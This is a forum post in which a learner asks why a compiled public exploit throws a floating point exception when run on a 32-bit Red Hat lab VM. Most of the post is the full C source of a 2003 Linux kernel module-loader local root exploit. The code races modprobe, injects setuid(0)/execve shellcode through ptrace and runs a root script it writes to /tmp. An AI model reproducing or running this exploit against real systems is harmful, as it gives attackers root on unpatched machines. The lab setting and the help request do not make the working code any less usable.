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  1. Hi all, I'm trying to learn the basics of using public exploit code and am running into a "floating point exception" error when I run the complied code on the target machine. I'm not sure if I am doing something wrong, or if I just need to move on and try another exploit. Your help is greatly appreciated. I am using a 64 bit Kali VM to attack a 32 bit redhat SHRIKE VM. I found an exploit in exploitdb that looks like it should work, "12.c", and have compiled it. The original source code had some simple errors with bad comments and a header file that was in a different location. So I fixed those and compiled with the -m32 switch to create a 32bit compatible executable. I currently get no errors or warnings. When I run it on my Kali VM, the exploit fails, but appears to run properly. However, I transferred the file to the target machine, made the file executable, and ran it, and got an error that said "Floating Point Exception". I read a few things about FPEs and they say the code is probably trying to divide by 0. Which doesn't really help me. Can any of you help? Thanks in advance /*********************************************** * * Linux Kernel Module Loader Local R00t Exploit * Up to 2.4.20 * By anonymous KuRaK * ************************************************/ #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <fcntl.h> #include <errno.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/ptrace.h> #include <sys/wait.h> #include <sys/mman.h> #include <sys/time.h> #include <sys/user.h> #define TMPSIZE 4096 #define FMAX 768 #define UIDNUM 6 #define MMSIZE (4096*1) #define MAXSTACK 0xc0000000 // where to put the root script #define SHELL "/tmp/w00w00w" // what to open to run modprobe #define ENTRY "/dev/dsp3" struct uids { unsigned uid; unsigned euid; unsigned suid; unsigned fsuid; }; // thanks to the epcs2.c code :-)) char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x31\ xdb\xb0\x17\xcd\x80" /* setuid(0) */ "\x31\xc0\xb0\x2e\xcd\x80" "\x31\xc0\x50\xeb\x17\x8b\x1c\x24" /* execve(SHELL) */ "\x90\x90\x90\x89\xe1\x8d\x54\x24" /* lets be tricky */ "\x04\xb0\x0b\xcd\x80\x31\xc0\x89" "\xc3\x40\xcd\x80\xe8\xe4\xff\xff" "\xff" SHELL "\x00\x00\x00\x00"; // payload... char *shellcmd = "#!/bin/sh\nid|wall\necho \"Your kernel is buggy\"|wall"; volatile int sig = 0; volatile struct user_regs_struct regs; void sighnd(int v) { sig++; } void fatal(const char *msg) { printf("\n"); if (!errno) { fprintf(stderr, "FATAL ERROR: %s\n", msg); } else { perror(msg); } printf("\n"); fflush(stdout); fflush(stderr); exit(129); } void exploit(int pid) { int i; if (ptrace(PTRACE_GETREGS, pid, 0, &regs)) fatal("ptrace: PTRACE_GETREGS"); for (i = 0; i <= sizeof(shellcode); i += 4) { if (ptrace (PTRACE_POKETEXT, pid, regs.eip + i, *(int *) (shellcode + i))) fatal("ptrace: PTRACE_POKETEXT"); } if (ptrace(PTRACE_SETREGS, pid, 0, &regs)) fatal("ptrace: PTRACE_SETREGS"); ptrace(PTRACE_DETACH, pid, 0, 0); kill(pid, SIGCONT); } int get_ids(FILE * fp, struct uids *uids) { int i; char tmp[TMPSIZE]; fseek(fp, 0, SEEK_SET); for (i = 0; i < UIDNUM; i++) fgets(tmp, sizeof(tmp), fp); return fscanf(fp, "Uid: %u %u %u %u", &uids->uid, &uids->euid, &uids->suid, &uids->fsuid); } int main(int ac, char **av) { int fd, pid, p, i; char buf[TMPSIZE]; struct uids uids; FILE *fp; setpgrp(); setsid(); umask(022); unlink(SHELL); fd = open(SHELL, O_RDWR | O_CREAT | O_TRUNC, 0755); fp = fdopen(fd, "w+"); fprintf(fp, "%s\n", shellcmd); fclose(fp); pid = getpid() + 2; snprintf(buf, sizeof(buf) - 1, "/proc/%d/status", pid); printf("\nModprobe pid %d, my pid %d", pid, getpid()); fflush(stdout); signal(SIGUSR1, sighnd); // fork modprobe helper if (!(p = fork())) { // some nice work for exec_usermodehelper(), keep it busy! for (i = 0; i < FMAX; i++) { fd = open("/dev/zero", O_RDWR); mmap(NULL, MMSIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0); } kill(getppid(), SIGUSR1); while (!sig); printf("\nHelper (pid %d) requesting module...", getpid()); fflush(stdout); fd = open(ENTRY, O_RDONLY | O_NONBLOCK); exit(0); } // synchronize with the child else { while (!sig); kill(p, SIGUSR1); // wait for modprobe to run at unprivileged level while (1) { fd = open(buf, O_RDONLY); if (fd > 0) { if (!(fp = fdopen(fd, "r"))) fatal("fdopen"); if (get_ids(fp, &uids) != 4 || (uids.uid != uids.euid || uids.uid != uids.suid || uids.uid != uids.fsuid)) { fatal("did not catch modprobe...try again later :-)"); } // ok, it runs... while (1) { if (ptrace(PTRACE_ATTACH, pid, NULL, NULL)) { fatal("PTRACE_ATTACH failed!"); } else { i = 0; printf("\nAttached afterburner...\n"); fflush(stdout); while (ptrace(PTRACE_GETREGS, pid, 0, &regs) || !regs.eip || regs.eip >= MAXSTACK) { ptrace(PTRACE_SYSCALL, pid, NULL, NULL); printf("\rplease wait %d", i++); fflush(stdout); } waitpid(pid, NULL, WUNTRACED); printf ("\nValid EIP found EIP=%p\nexploiting the bug, good luck... ", regs.eip); fflush(stdout); exploit(pid); exit(0); } } fclose(fp); } } } return 0; } // milw0rm.com [2003-04-14]
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